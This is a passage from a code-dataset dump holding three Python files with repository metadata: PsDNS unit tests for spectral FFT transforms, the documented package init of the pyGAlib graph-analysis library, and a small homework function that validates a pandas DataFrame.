correct.\n\"\"\"\nimport unittest\n\nimport numpy\nfrom numpy import testing as nptest\n\nfrom mpi4py import MPI\nfrom mpi4py_fft import PFFT, newDistArray\n\nfrom psdns import *\n\n#: :meta hide-value:\n#:\n#: A list of domains on which to run individual tests.  Each domain\n#: is a 2-tuple which is passed as the arguments to the\n#: :class:`~psdns.bases.SpectralGrid` constructor.  The domains sizes\n#: are choses to be small enough to keep test times short, and to\n#: inlude all the important combinations of truncanted (anti-aliased)\n#: and non-truncated, as well as odd and even length, transforms in each\n#: direction.\ndomains = [\n    ((9, 9, 9), (9, 9, 9)),\n    ((8, 9, 9), (8, 9, 9)),\n    ((9, 8, 9), (9, 8, 9)),\n    ((8, 8, 9), (8, 8, 9)),\n    ((9, 9, 8), (9, 9, 8)),\n    ((8, 9, 8), (8, 9, 8)),\n    ((9, 8, 8), (9, 8, 8)),\n    ((8, 8, 8), (8, 8, 8)),\n    ((9, 9, 9), (12, 12, 12)),\n    ((8, 9, 9), (12, 12, 12)),\n    ((9, 8, 9), (12, 12, 12)),\n    ((8, 8, 9), (12, 12, 12)),\n    ((9, 9, 8), (12, 12, 12)),\n    ((8, 9, 8), (12, 12, 12)),\n    ((9, 8, 8), (12, 12, 12)),\n    ((8, 8, 8), (12, 12, 12)),\n    ((8, 8, 8), (12, 12, 8)),\n    ]\n\n\ndef random_spectral_array(grid, shape=()):\n    \"\"\"Return a random :class:`~psdns.bases.SpectralArray`.\n\n    Return a :class:`~psdns.bases.SpectralArray` on the specified\n    *grid* with the specified *shape*, filled with random data.\n\n    In order to assure that this spectral array has the approriate\n    symmetries, it is obtained by first creating a random physical\n    array, and then transforming to spectral space.\n    \"\"\"\n    return random_physical_array(grid, shape).to_spectral()\n\n\ndef random_physical_array(grid, shape=()):\n    \"\"\"Return a random :class:`~psdns.bases.PhysicalArray`.\n\n    Return a :class:`~psdns.bases.PhysicalArray` on the specified\n    *grid* with the specified *shape*, filled with random data.\n\n    Note, if the specified *grid* is anti-aliased, then this physical\n    array will contain higher mode data that will be lost when\n    transformed.  In particular, transforming this array to spectral\n    space, and then back to physical space, will not recover the\n    original array.  For tests that require a physical array that does\n    not contain truncated spectral modes, the data can be filtered\n    using a transform to spectral and back to physical, i.e.::\n\n        p = random_physical_array(grid).to_spectral().to_physical()\n    \"\"\"\n    return PhysicalArray(grid, numpy.random.random(shape+grid.x.shape[1:]))\n\n\nclass TestSingleMode(tests.TestCase):\n    \"\"\"Test transform of a single spectral mode\n    \"\"\"\n    def initialize_transform_pair(self, klm, sdims, pdims):\n        r\"\"\"Return a physical and spectral representation of a single mode\n\n        In order to test transforms of a single mode, this method\n        returns a tuple containing a\n        :class:`~psdns.bases.PhysicalArray`, and\n        :class:`~psdns.bases.SpectralArray`, and a string describing the\n        type of mode (see below for descriptions of the mode types).\n        The amplitude is always set to one, and the phase is random.\n        The test method can then use these fields to test that one\n        transforms to the other.  The index of the spectral mode is\n        given by the tuple *klm*; *sdims* and *pdims* are the size of the\n        array to create.\n\n        As described in :ref:`Real Transforms` the\n        :class:`~psdns.bases.SpectralArray` class retains slightly over\n        half the Hermitian symmetric modes.  These can be divided into\n        different groups, which transform differently.  Note that the\n        various cases could be broken out into different tests methods.\n        However, this implementation, that iterates over all modes in\n        one routine, was chosen to reduce the likelihood that tests of\n        certain modes were inadvertantly omitted.\n\n        #. **Interior modes.** For most modes, their is also a Hermitian\n           symmetric mode which is not stored.  The physical\n           representation is given by equation\n           :eq:`3d-transform`.\n\n        #. **Edge modes.**  These are modes for which both of the\n           Hermitian symmetric mode are part of the array, which happens\n           when :math:`m=0` or :math:`2 m = N_z`\n           (eqs. :eq:`edge-zero`-:eq:`edge-nz2`) .  In this case, both\n           modes must be initialized consistently.\n\n        #. **Corner modes.**  Hermitian symmetry requires that certain\n           modes (see eq. :eq:`corner`)  be purely real, and the\n           physical space representation is given by equation\n           :eq:`corner-transform`.\n\n        #. **Truncated modes.** When the physical dimensions are larger\n           than the spectral dimensions, certain modes are truncated.\n           For these modes, the physical-to-spectral transform will\n           return zero.  There is no test for the spectral-to-physical\n           transform, since these modes are not representable in\n           spectral space.\n\n           Also, with ``aliasing_strategy=truncate`` (see :ref:`Keeping\n           it real`), which is the setting tested in this test, for\n           truncation to an even number of modes, the extra negative\n           mode, :math:`-N_x/2` or :math:`-N_y/2`, is zeroed out, and\n           therefore is tested identically to the truncated mode.\n\n           .. note::\n\n               This test does not check the result of a\n               spectral-to-physical transform of a zeroed out mode set\n               to a non-zero value by the user, since this behavior is\n               not defined, and should be avoided.\n        \"\"\"\n        k, l, m = klm\n        grid = SpectralGrid(sdims, pdims)\n        s = SpectralArray(grid)\n        p = PhysicalArray(grid)\n        theta = grid.comm.bcast(numpy.random.rand())\n        if ((grid.pdims[0] > grid.sdims[0] and abs(2*k) >= grid.sdims[0]) or\n            (grid.pdims[1] > grid.sdims[1] and abs(2*l) >= grid.sdims[1]) or\n            2*m > sdims[2]):\n            p[...] = 2*numpy.cos(\n                k*p.grid.x[0]+l*p.grid.x[1]+m*p.grid.x[2]+theta\n                )\n            typ = 'trunc'\n        elif ((k == 0 or -2*k == pdims[0]) and\n              (l == 0 or -2*l == pdims[1]) and\n              (m == 0 or 2*m == pdims[2] == sdims[2])):\n            s.set_mode([k, l, m], 1)\n            p[...] = numpy.cos(k*p.grid.x[0]+l*p.grid.x[1]+m*p.grid.x[2])\n            typ = 'corner'\n        elif m == 0 or 2*m == pdims[2]:\n            s.set_mode([k, l, m], numpy.exp(1j*theta))\n            s.set_mode([-k, -l, m], numpy.exp(-1j*theta))\n            p[...] = 2*numpy.cos(k*p.grid.x[0]+l*p.grid.x[1]+m*p.grid.x[2]+theta)\n            typ = 'edge'\n        else:\n            s.set_mode([k, l, m], numpy.exp(1j*theta))\n            p[...] = 2*numpy.cos(k*p.grid.x[0]+l*p.grid.x[1]+m*p.grid.x[2]+theta)\n            typ = 'interior'\n        return p, s, typ\n\n    def test_single_mode(self):\n        r\"\"\"Forward and backward transforms of a single mode are correct.\n\n        Test that a single spectral mode transforms correctly, both\n        physical-to-spectral and spectral-to-physical.  This test loops\n        over all modes supported on the physical space grid, and uses\n        the method :meth:`initialize_transform_pair` to generate the\n        physical and spectral space representations.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                for k in range(-(pdims[0]//2), (pdims[0]+1)//2):\n                    for l in range(-(pdims[1]//2), (pdims[1]+1)//2):\n                        for m in range(pdims[2]//2+1):\n                            with self.subTest(k=k, l=l, m=m):\n                                p, s, typ = self.initialize_transform_pair(\n                                    (k, l, m), sdims, pdims\n                                    )\n                                with self.subTest(type=typ, dir=\"forward\"):\n                                    nptest.assert_almost_equal(\n                                        numpy.asarray(p.to_spectral()),\n                                        numpy.asarray(s)\n                                        )\n                                if typ == 'trunc':\n                                    continue\n                                with self.subTest(type=typ, dir=\"backward\"):\n                                    nptest.assert_almost_equal(\n                                        numpy.asarray(s.to_physical()),\n                                        numpy.asarray(p)\n                                        )\n\n\nclass TestSymmetries(tests.TestCase):\n    r\"\"\"Test that spectral transforms have the correct symmetries.\n\n    Hermitian symmetry imposes certain contraints on spectral arrays\n    (see :ref:`Three-dimensional transforms`).  This test confirms that,\n    for a random array, these symmetries occur.\n    \"\"\"\n    def test_z_zero(self):\n        r\"\"\"Test Hermitian symmetry when z=0\"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                s = random_spectral_array(SpectralGrid(sdims, pdims))\n                for k in range(1, sdims[0]//2):\n                    for l in range(1, sdims[1]//2):\n                        with self.subTest(k=k, l=l):\n                            with self.rank_zero(s.grid.comm):\n                                self.assertAlmostEqual(\n                                    s.get_mode([k, l, 0]),\n                                    s.get_mode([-k, -l, 0]).conjugate()\n                                    )\n\n    def test_z_max(self):\n        r\"\"\"Test Hermitian symmetry when z=Nz/2\"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                if sdims[2] % 2 == 0:\n                    s = random_spectral_array(SpectralGrid(sdims, pdims))\n                    for k in range(1, sdims[0]//2):\n                        for l in range(1, sdims[1]//2):\n                            with self.subTest(k=k, l=l):\n                                with self.rank_zero(s.grid.comm):\n                                    self.assertAlmostEqual(\n                                        s.get_mode([k, l, 0]),\n                                        s.get_mode([-k, -l, 0]).conjugate()\n                                        )\n\n    def test_real_corners(self):\n        r\"\"\"Test for real values in corners\"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                krange = [0, -sdims[0]//2] \\\n                    if sdims[0] == pdims[0] and sdims[0] % 2 == 0 \\\n                    else [0]\n                lrange = [0, -sdims[1]//2] \\\n                    if sdims[1] == pdims[1] and sdims[1] % 2 == 0 \\\n                    else [0]\n                mrange = [0, sdims[2]//2] \\\n                    if sdims[2] == pdims[2] and sdims[2] % 2 == 0 \\\n                    else [0]\n                s = random_spectral_array(SpectralGrid(sdims, pdims))\n                for k in krange:\n                    for l in lrange:\n                        for m in mrange:\n                            with self.subTest(k=k, l=l, m=m):\n                                with self.rank_zero(s.grid.comm):\n                                    self.assertAlmostEqual(\n                                        s.get_mode([k, l, m]).imag,\n                                        0\n                                        )\n\n\nclass TestProperties(tests.TestCase):\n    \"\"\"Test that various mathematical properties of the FFT obeyed.\n    \"\"\"\n    def test_round_trip1(self):\n        \"\"\"Transforming to spectral and back to physical returns the original value.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                p = random_physical_array(SpectralGrid(sdims, pdims))\n                # Filter out unsupported spectral modes\n                p = p.to_spectral().to_physical()\n                nptest.assert_allclose(\n                    numpy.asarray(p.to_spectral().to_physical()),\n                    numpy.asarray(p)\n                    )\n\n    def test_round_trip2(self):\n        \"\"\"Transforming to physical and back to spectral returns the original value.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                s = random_spectral_array(SpectralGrid(sdims, pdims))\n                nptest.assert_allclose(\n                    numpy.asarray(s.to_physical().to_spectral()),\n                    numpy.asarray(s)\n                    )\n\n    def test_linear1(self):\n        \"\"\"Physical-to-spectral transforms are linear.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                grid = SpectralGrid(sdims, pdims)\n                p1 = random_physical_array(grid)\n                p2 = random_physical_array(grid)\n                a = grid.comm.bcast(numpy.random.rand(), root=0)\n                nptest.assert_allclose(\n                    numpy.asarray((p1+a*p2).to_spectral()),\n                    numpy.asarray(p1.to_spectral()+a*p2.to_spectral())\n                    )\n\n    def test_linear2(self):\n        \"\"\"Spectral-to-physical transforms are linear.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                grid = SpectralGrid(sdims, pdims)\n                s1 = random_spectral_array(grid)\n                s2 = random_spectral_array(grid)\n                a = grid.comm.bcast(numpy.random.rand(), root=0)\n                nptest.assert_allclose(\n                    numpy.asarray((s1+a*s2).to_physical()),\n                    numpy.asarray(s1.to_physical()+a*s2.to_physical())\n                    )\n\n    def test_norm(self):\n        \"\"\"Spectral norm should match physical space norm.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                s = random_spectral_array(SpectralGrid(sdims, pdims))\n                with self.rank_zero(s.grid.comm):\n                    self.assertAlmostEqual(\n                        s.norm(),\n                        s.to_physical().norm()\n                        )\n\n    def test_norm2(self):\n        \"\"\"Physical norm should match spectral space norm.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                p = random_physical_array(SpectralGrid(sdims, pdims))\n                # Filter out unsupported spectral modes\n                p = p.to_spectral().to_physical()\n                with self.rank_zero(p.grid.comm):\n                    self.assertAlmostEqual(\n                        p.norm(),\n                        p.to_spectral().norm()\n                        )\n\n    def test_norm3(self):\n        \"\"\"Check magnitude (scaling) of physical norm\"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                p = random_physical_array(SpectralGrid(sdims, pdims))\n                p[...] = numpy.cos(p.grid.x[0])\n                with self.rank_zero(p.grid.comm):\n                    self.assertAlmostEqual(p.norm(), 0.5)\n\n    def test_vector_to_spectral(self):\n        \"\"\"Vectors transform to spectral elementwise\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                p = random_physical_array(\n                    SpectralGrid(sdims, pdims),\n                    shape=(3,)\n                    )\n                s = p.to_spectral()\n                with self.subTest(\"check shape\"):\n                    self.assertEqual(\n                        p.shape[:-3],\n                        s.shape[:-3]\n                        )\n                for i in range(3):\n                    with self.subTest(vector_element=i):\n                        nptest.assert_almost_equal(\n                            numpy.asarray(p[i].to_spectral()),\n                            numpy.asarray(s[i])\n                            )\n\n    def test_vector_to_physical(self):\n        \"\"\"Vectors transform to physical elementwise\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                s = random_spectral_array(\n                    SpectralGrid(sdims, pdims),\n                    shape=(3,)\n                    )\n                p = s.to_physical()\n                with self.subTest(\"check shape\"):\n                    self.assertEqual(\n                        s.shape[:-3],\n                        p.shape[:-3]\n                        )\n                for i in range(3):\n                    with self.subTest(vector_element=i):\n                        nptest.assert_almost_equal(\n                            numpy.asarray(s[i].to_physical()),\n                            numpy.asarray(p[i])\n                            )\n\n\n@unittest.skipIf(\n    MPI.COMM_WORLD.size != 1,\n    \"Test may fail if array subsizes don't match (see documentation)\"\n    )\nclass TestMPI4PyFFT(tests.TestCase):\n    \"\"\"Test that our transforms return the same results as mpi4py-fft.\n\n    Compare the results of PsDNS transforms to those provided by the\n    mpi4py-fft library, with ``aliasing_stragegy=mpi4py`` for the\n    :class:`~psdns.bases.SpectralGrid`.  Note that, since the two\n    codes may decompse domains differently, this test may fail if run\n    on multiple MPI ranks.\n    \"\"\"\n    def test_mpi4py_fft_forward(self):\n        \"\"\"Physical-to-spectral transforms match mpi4py-fft.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                fft = PFFT(\n                    MPI.COMM_WORLD,\n                    sdims,\n                    padding=numpy.asarray(pdims)/numpy.asarray(sdims),\n                    axes=(0, 1, 2),\n                    dtype=float,\n                    grid=(-1,)\n                    )\n                p = random_physical_array(\n                    SpectralGrid(sdims, pdims, aliasing_strategy='mpi4py')\n                    )\n                u = newDistArray(fft, False)\n                u[...] = p\n                u_hat = fft.forward(u, normalize=True)\n                s = p.to_spectral()\n                numpy.set_printoptions(linewidth=120, precision=2)\n                nptest.assert_allclose(\n                    u_hat,\n                    numpy.asarray(s),\n                    )\n\n    def test_mpi4py_fft_backward(self):\n        \"\"\"Spectral-to-physical transforms match mpi4py-fft.\n        \"\"\"\n        for sdims, pdims in domains:\n            with self.subTest(sdims=sdims, pdims=pdims):\n                fft = PFFT(\n                    MPI.COMM_WORLD,\n                    sdims,\n                    padding=numpy.asarray(pdims)/numpy.asarray(sdims),\n                    axes=(0, 1, 2),\n                    dtype=float,\n                    grid=(-1,)\n                    )\n                s = random_spectral_array(\n                    SpectralGrid(sdims, pdims, aliasing_strategy='mpi4py')\n                    )\n                u_hat = newDistArray(fft, True)\n                u_hat[...] = s\n                u = fft.backward(u_hat, normalize=False)\n                nptest.assert_allclose(\n                    u,\n                    numpy.asarray(s.to_physical())\n                    )\n", "meta": {"hexsha": "d74a0f4d016bea73fd5641fa7abdfae206fb9330", "size": 21270, "ext": "py", "lang": "Python", "max_stars_repo_path": "psdns/tests/test_fft.py", "max_stars_repo_name": "lanl/PsDNS", "max_stars_repo_head_hexsha": "2fcb12d52e522906c93d7a28e5397cae81feb376", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-10T21:34:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-10T21:34:31.000Z", "max_issues_repo_path": "psdns/tests/test_fft.py", "max_issues_repo_name": "lanl/PsDNS", "max_issues_repo_head_hexsha": "2fcb12d52e522906c93d7a28e5397cae81feb376", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "psdns/tests/test_fft.py", "max_forks_repo_name": "lanl/PsDNS", "max_forks_repo_head_hexsha": "2fcb12d52e522906c93d7a28e5397cae81feb376", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.0566801619, "max_line_length": 84, "alphanum_fraction": 0.5425011754, "include": true, "reason": "import numpy,from numpy", "num_tokens": 4899, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.15002881864182907, "lm_q1q2_score": 0.07208564845011523}}
{"text": "# -*- coding: utf-8 -*-\n# Copyright (c) 2013 - 2019, Gorka Zamora-L\u00f3pez <gorka@Zamora-Lopez.xyz>\n#\n# Released under the Apache License, Version 2.0 (the \"License\");\n# you may not use this software except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n\n\"\"\"\nGraph Analysis Library\n======================\n\nA package for the analysis of graphs and complex networks in Python.\nCompatible with Python 2.7 and 3.X\n\nGAlib treats networks as adjacency matrices, represented as 2D NumPy arrays,\nthus taking advantage of the faster operations over pure Pythen data types.\nThe core of the library consists of three modules:\n\nmetrics\n    Basic graph metrics (degrees, clustering, graph distance, etc)\nmodels\n    Generation of synthetic networks and randomization.\ntools\n    Miscelaneous helper functions.\n\nThe rest of modules provide additional functionalities:\n\nmetrics_numba\n    Uses package Numba to accelerate calculation of some metrics.\nmodels_numba\n    Uses package Numba to accelerate generation of some graph models.\nextra.py\n    Additional measures and functionalities related to network analysis.\n\nUSING pyGAlib\n^^^^^^^^^^^^^^\nThe library is organised in the following modules:\n\n- *metrics.py*: Common graph metrics (degrees, clustering, graph distance, etc)\n- *models.py*: Generation of synthetic networks and randomization.\n- *tools.py*: Miscelaneous helper functions.\n- *metrics_numba.py*: Uses the Numba package to accelerate calculation of some\nmetrics.\n- *models_numba.py*: Uses the Numba package to accelerate generation of some\ngraph models.\n- *extra.py*: Additional measures and functionalities related to network analysis.\n\nGetting started\n***************\nSince pyGAlib depends on NumPy, it is recommended to import NumPy first.\nAlthough this is not necessary for loading pyGAlib, NumPy functionalities and\narray manipulation will be often needed. Try importing pyGAlib: ::\n\n    >>> import numpy as np\n    >>> import galib\n\n..note::\n    Importing galib imports also all functions in module *metrics.py*\n    into its namespace. The rest of modules are imported separately. Therefore,\n    if the import is relative those functions can be called as, e.g.,\n\n::\n\n    >>> import galib\n    >>> ...\n    >>> deg = galib.Degree(net)\n    >>> C, Cnodes = galib.Clustering(net)\n\nSee that we did not have to call ``galib.metrics.Degree(net)``. In the case of\nan absolute import (using an asterisk ``*``) all functions in *metrics.py* are\nimported to the base namespace:  ::\n\n    >>> from galib import *\n    >>> ...\n    >>> deg = Degree(net)\n    >>> C, Cnodes = Clustering(net)\n\nExample\n*******\nLet's generate a random graph following the Erdos-Renyi model, G(N,p), with\n*N = 100* nodes and link probability *p = 0.1*:  ::\n\n    >>> import galib\n    >>> import galib.models\n    >>> N = 100; p = 0.1\n    >>> net = galib.models.ErdosRenyiGraph(N, p, directed=False)\n\nHere, *net* is the adjacency matrix of the random graph represented as a\n2-dimensional NumPy array. Let's calculate some basic properties.  ::\n\n    >>> galib.Density(net)\n    0.09838383838383838\n\nAs expected, the density of an Erdos-Renyi random graph is close to the\n*p = 0.1* value given. We now calculate the degree of every node:  ::\n\n    >>> deg = galib.Degree(net)\n    >>> deg\n    array([10,  7, 10, 10, 11,  7,  5, 11, 13, 12, 14, 13,  8, 10,  9,  8,  7,\n       10, 11,  9, 11, 11,  8, 10,  5,  9, 13, 10, 13, 12, 12, 11, 11,  7,\n       13, 11,  7, 10, 10,  6, 12, 10,  6, 10,  7,  6,  9, 10,  9,  9,  7,\n        9,  8, 13, 10,  9,  7,  7, 11,  8, 13,  6,  7, 12, 14,  6,  5, 11,\n        5, 12, 14, 14, 13,  8,  7, 12,  4, 19,  9, 13,  7, 10, 15, 15,  4,\n        9,  7, 12,  7,  8, 12,  4, 11, 12,  6, 13,  6, 12, 16, 12])\n\nThe degree is returned as a numpy array of rank 1, of integer type. The function\n``Clustering()`` returns both the global clustering coefficient and the local\nclustering of every node:  ::\n\n    >>> C, Cnodes = galib.Clustering(net)\n    >>> C\n    0.096051227321238\n    >>> Cnodes\n    array([0.13333333, 0.04761905, 0.04444444, 0.08888889, 0.10909091,\n       0.19047619, 0.3       , 0.12727273, 0.08974359, 0.06060606,\n      \t... ... ...\n      \t... ... ...\n       0.04545455, 0.        , 0.10909091, 0.13636364, 0.        ,\n       0.07692308, 0.13333333, 0.09090909, 0.08333333, 0.10606061])\n\nWe compute the pair-wise graph distance between all the nodes using the\nFloyd-Warshall algorithm, which is returned as a matrix ``dij`` (numpy array of\nrank 2):  ::\n\n\t>>> dij = galib.FloydWarshall(net)\n\t>>> avlen = (dij.sum() - dij.trace()) / (N*(N-1))\n\t>>> avlen\n\t2.248080808080808\n\n.. note::\n    For calculating the distance matrix of larger networks please use\n    the version of the function located in the module *metrics_numba.py*. Here,\n    the function ``FloydWarshall_Numba()`` works the same but makes use of the\n    Numba library to significantly speed the calculation.\n\nMost network generators and graph metrics in pyGAlib work with directed graphs\nas well. Check for the optional parameter ``directed``. Following the example\nabove, we generate a directed Erdos-Renyi graph and calculate its input and\noutput degrees for every node:  ::\n\n    >>> net = galib.models.ErdosRenyiGraph(N, p, directed=True)\n    >>> galib.Density(net)\n    0.10272727272727272\n    >>> indeg, outdeg = galib.Degree(net, directed=True)\n    >>> indeg\n    array([17,  7,  9,  8, 11, 10,  9,  8, 13, 13,  5,  9, 13,  9, 10, 10, 13,\n       10,  9,  9,  7, 11, 13, 10,  4, 15, 11, 11, 10,  6,  6,  8,  8,  8,\n       11,  8,  4, 12,  8, 13, 13, 14, 12,  5,  6,  5, 16, 12,  5, 10,  9,\n       13,  8,  9,  7,  8, 13, 14,  9, 18,  7, 11,  5,  4, 12,  8,  8, 10,\n        7,  9, 15, 12, 14,  9, 15, 11, 13, 12, 15, 10, 11, 11, 15,  7, 10,\n       13,  7, 14,  9, 16, 11, 11,  6, 18,  7,  4, 14, 12, 12, 10])\n    >>> outdeg\n    array([ 9, 10,  7,  9, 12,  9, 19,  9, 11, 16, 11, 12, 11, 15, 11,  6,  9,\n        8, 11, 12,  9, 13,  9,  8, 11,  6,  7, 11, 11, 12, 10,  8, 11, 12,\n       10, 12, 13,  8, 18, 11,  8, 13, 10,  8, 10, 10, 11,  8, 11, 11, 11,\n       10, 11, 10,  9, 12,  6, 10,  7, 10, 10, 11, 15, 12, 11,  7, 10,  8,\n        5, 11,  7, 11, 13,  8,  5,  6, 13, 11, 10, 13,  7,  6, 13, 11,  8,\n        8, 10,  6, 10,  9, 12, 15, 11,  9, 15, 11,  7,  8, 11, 10])\n\nData I/O\n********\nSince GAlib is based on NumPy arrays, saving and reading of adjacency matrices,\nas well as any other output of GAlib functions, can be performed using the usual\ndata I/O functionalities of NumPy. See for example the documentation for\nfunctions: ``loadtxt()``, ``savetxt()``, ``load()``, ``save()`` and ``savez()``.\nThe *tools.py* module in pyGAlib provides also some data conversion\nfunctionalities.\n\nHow to find further documentation\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nWhile working in an interactive session, after importing a module, the built-in\n``help()`` function will show further details:  ::\n\n    >>> help(modulename)\n\nThe help for galib (``help(galib)``) shows the general summary of the package\nand a list of all the modules in the library. The help for each module,\ne.g., ``help(galib.metrics)`` or ``help(galib.models)`` will display module\nspecific information and a list of all the functions in the module. For further\ndetails regarding each function, type:  ::\n\n    >>> help(galib.modulename.functionname)\n\nFor IPython and Jupyter notebook users the help command is replaced by a\nquestion mark after the module's or function's name, e.g.:  ::\n\n    >>> modulename?\n    >>> functionname?\n\nFor questions, bug reports, etc, please write to <galib@Zamora-Lopez.xyz>, or\nopen an issue in GitHub.\n\nLicense\n-------\n\nCopyright (c) 2013 - 2019, Gorka Zamora-L\u00f3pez <gorka@Zamora-Lopez.xyz>\n\nReleased under the Apache License, Version 2.0 (the \"License\");\nyou may not use this software except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nor see the LICENSE.txt file.\n\n.. note::\n    Please, use the logos provided in the Branding/ folder whenever possible.\n\n\"\"\"\nfrom __future__ import absolute_import\n\nfrom . import metrics\nfrom .metrics import*\n\n\n__author__ = \"Gorka Zamora-Lopez\"\n__email__ = \"galib@Zamora-Lopez.xyz\"\n__copyright__ = \"Copyright 2013-2020\"\n__license__ = \"Apache License version 2.0\"\n__version__ = \"1.1.2\"\n__update__=\"15/06/2020\"\n\n\n\n#\n", "meta": {"hexsha": "53f671382c732012f4e62ac9f1e65e04a55758eb", "size": 8351, "ext": "py", "lang": "Python", "max_stars_repo_path": "galib/__init__.py", "max_stars_repo_name": "decolab/pyGAlib", "max_stars_repo_head_hexsha": "89945c1f41412164f4acca9428cd52133b709750", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 21, "max_stars_repo_stars_event_min_datetime": "2015-08-11T14:17:29.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-06T15:08:06.000Z", "max_issues_repo_path": "galib/__init__.py", "max_issues_repo_name": "decolab/pyGAlib", "max_issues_repo_head_hexsha": "89945c1f41412164f4acca9428cd52133b709750", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2015-06-14T12:08:29.000Z", "max_issues_repo_issues_event_max_datetime": "2018-12-04T10:14:42.000Z", "max_forks_repo_path": "galib/__init__.py", "max_forks_repo_name": "gorkazl/pyGAlib", "max_forks_repo_head_hexsha": "89945c1f41412164f4acca9428cd52133b709750", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 13, "max_forks_repo_forks_event_min_datetime": "2015-06-10T19:00:10.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-26T19:03:50.000Z", "avg_line_length": 36.6271929825, "max_line_length": 82, "alphanum_fraction": 0.6520177224, "include": true, "reason": "import numpy", "num_tokens": 2906, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14414885487109627, "lm_q1q2_score": 0.07207442743554814}}
{"text": "import numpy as np\nimport pandas as pd\nimport collections\n\ndef test_create_dataframe(dataFrame,columnNames,dataTypes,nRows = 10):\n    \n    \n    ##STEP - 1\n    \n    #Obtain actual column names from dataFrame\n    actualColNames = list(dataFrame.columns)\n    \n    \n    if(len(columnNames) == len(actualColNames)) : #Check for no. of columns match\n        if(collections.Counter(columnNames) != collections.Counter(actualColNames)): #Check if column names match irrespective of order\n            print(\"Column name mismatch\")\n            return False\n    else:\n        print(\"Column number mismatch\")\n        return False\n            \n    ## STEP-2\n    \n    #initialize step flag value to true\n    flag = True\n    \n    #For each actual column name\n    for i in actualColNames:\n        flag = flag & (dataFrame[i].dtype == dataTypes[columnNames.index(i)]) #Check for that column name index data type\n                                                                                #And update step flag\n    \n    if(flag==False):\n        print(\"Data type mismatch\")\n        return False\n    \n    \n    ## STEP-3\n    \n    if(nRows <= dataFrame.shape[0]): #check that number of rows are at least nRows\n        flag = True\n    else:\n        print(\"Minimum number of rows criterion not met\")\n        flag = False\n    \n    #return flag value\n    return flag\n\n", "meta": {"hexsha": "b508873bbaec768cea84e1dfd53e63ad2b3e27ea", "size": 1346, "ext": "py", "lang": "Python", "max_stars_repo_path": "modules/verifyData.py", "max_stars_repo_name": "UWSEDS/hw2-using-functions-apoorva-sh", "max_stars_repo_head_hexsha": "c715126c30252eccb23516843fac0de9e357f73e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "modules/verifyData.py", "max_issues_repo_name": "UWSEDS/hw2-using-functions-apoorva-sh", "max_issues_repo_head_hexsha": "c715126c30252eccb23516843fac0de9e357f73e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "modules/verifyData.py", "max_forks_repo_name": "UWSEDS/hw2-using-functions-apoorva-sh", "max_forks_repo_head_hexsha": "c715126c30252eccb23516843fac0de9e357f73e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.0416666667, "max_line_length": 135, "alphanum_fraction": 0.5913818722, "include": true, "reason": "import numpy", "num_tokens": 283, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14414885119438492, "lm_q1q2_score": 0.07207442559719246}}
